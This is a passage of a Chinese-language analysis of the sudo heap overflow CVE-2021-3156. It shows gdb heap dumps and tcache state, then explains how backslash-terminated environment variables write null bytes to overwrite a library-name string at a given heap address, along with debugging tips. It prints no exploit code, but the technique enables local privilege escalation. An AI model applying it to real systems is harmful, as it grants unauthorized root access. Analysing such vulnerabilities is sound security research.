0x5555557840a0: 0x4343434343434343 0x4343434343434343
0x5555557840b0: 0x4343434343434343 0x4343434343434343
0x5555557840c0: 0x4343434343434343 0x4343434343434343
0x5555557840d0: 0x4343434343434343 0x4343434343434343
0x5555557840e0: 0x4343434343434343 0x4343434343434343
0x5555557840f0: 0x4343434343434343 0x4343434343434343
0x555555784100: 0x4343434343434343 0x0000d70043434343
0x555555784110: 0x00000401907e0000 0x0000000000000111
0x555555784120: 0x0000000000000000 0x0000000000000000
0x555555784130: 0x2e382d4654552e43 0x4343434038667475
0x555555784140: 0x4343434343434343 0x4343434343434343
0x555555784150: 0x4343434343434343 0x4343434343434343
0x555555784160: 0x4343434343434343 0x4343434343434343
0x555555784170: 0x4343434343434343 0x4343434343434343
0x555555784180: 0x4343434343434343 0x4343434343434343
0x555555784190: 0x4343434343434343 0x4343434343434343
0x5555557841a0: 0x4343434343434343 0x4343434343434343
0x5555557841b0: 0x4343434343434343 0x4343434343434343
0x5555557841c0: 0x4343434343434343 0x4343434343434343
0x5555557841d0: 0x4343434343434343 0x4343434343434343
0x5555557841e0: 0x4343434343434343 0x4343434343434343
0x5555557841f0: 0x4343434343434343 0x4343434343434343
0x555555784200: 0x4343434343434343 0x4343434343434343
0x555555784210: 0x5954435f434c2f43 0x5400000043004550
0x555555784220: 0x00000000004e4f00 0x00000000000000f1
0x555555784230: 0x40382d4654552e43 0x4343434343434343
0x555555784240: 0x4343434343434343 0x4343434343434343
0x555555784250: 0x4343434343434343 0x4343434343434343
0x555555784260: 0x4343434343434343 0x4343434343434343
0x555555784270: 0x4343434343434343 0x4343434343434343
0x555555784280: 0x4343434343434343 0x4343434343434343
0x555555784290: 0x4343434343434343 0x4343434343434343
0x5555557842a0: 0x4343434343434343 0x4343434343434343
0x5555557842b0: 0x4343434343434343 0x4343434343434343
0x5555557842c0: 0x4343434343434343 0x4343434343434343
0x5555557842d0: 0x4343434343434343 0x4343434343434343
0x5555557842e0: 0x4343434343434343 0x4343434343434343
0x5555557842f0: 0x4343434343434343 0x4343434343434343
0x555555784300: 0x4343434343434343 0x0000000043434343
0x555555784310: 0x0000000000000000 0x0000000000000081
0x555555784320: 0x0000000000000000 0x000055555577a010
0x555555784330: 0x73656c000073696e 0x696e696d5f340000
0x555555784340: 0x544f4e5b206c616d 0x65723d444e554f46
0x555555784350: 0x6e64205d6e727574 0x74736f68796d2073
0x555555784360: 0x74200000656d616e 0x00000000003a7972
0x555555784370: 0x0000000000000000 0x0000000000000000
0x555555784380: 0x0000000000000000 0x0000000000000000
0x555555784390: 0x0000000000000000 0x0000000000000041
0x5555557843a0: 0x00005555557843e0 0x0000000000000000
0x5555557843b0: 0x0000000100000000 0x0000555500000001
0x5555557843c0: 0x0000000000000000 0x0000000000000000
0x5555557843d0: 0x00007461706d6f63 0x0000000000000041
0x5555557843e0: 0x0000000000000000 0x0000000000000000
0x5555557843f0: 0x0000000100000000 0x0000000000000001
0x555555784400: 0x0000000000000000 0x0000000000000000
0x555555784410: 0x00646d6574737973 0x0000000000000021
0x555555784420: 0x0000555555784480 0x0000555555784440
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555785130 (size : 0x15ed0)
last_remainder: 0x5555557849d0 (size : 0x600)
unsortbin: 0x5555557849d0 (size : 0x600)
(0x80) tcache_entry[6](1): 0x555555784320
(0xf0) tcache_entry[13](1): 0x555555784030
(0x100) tcache_entry[14](1): 0x555555783880
(0x120) tcache_entry[16](1): 0x555555780490
(0x230) tcache_entry[33](1): 0x55555577a260

下图为构造出的空闲堆块。

下图为分配user_args

下图为构造的user_argsni,当我们使用反斜线时就会向堆中写入空字符,在exp里我们构造的环境变量的前面为反斜线以填充0,因为堆块大小为0x40因此我们填充的大小为63(包含堆块头),最终把0x5555557843d0的字符串改为X/P0P_SH3LLZ_

本地环境及sudo版本

调试技巧

gdb ./exp断到execve之后b setlocale进到sudo里,反编译sudoers.so找到分配user_args的位置(根据函数里的特殊字符串定位),nss_load_libray为libc库函数,可直接断下,最后配合上述流程分析即可。

总结

最后的exp构造出的堆空间非常巧妙,由于没有资料显示如何构造,只能理解为多次实验寻找规律或者fuzz关键参数自动化跑,就目前公开的结果看我还是倾向于大家都是fuzz的。在之前qemu逃逸的分析中我们可以知道假如可以构造稳定的malloc原语和free原语其实我们就会有稳定的exp,可能也正因为这个exp没有给出构造原语的方法,exp作者最后给了一个爆破脚本用以适配其他系统。

参考

CVE-2021-3156sudo堆溢出分析

参考exp

您的支持将鼓励我继续创作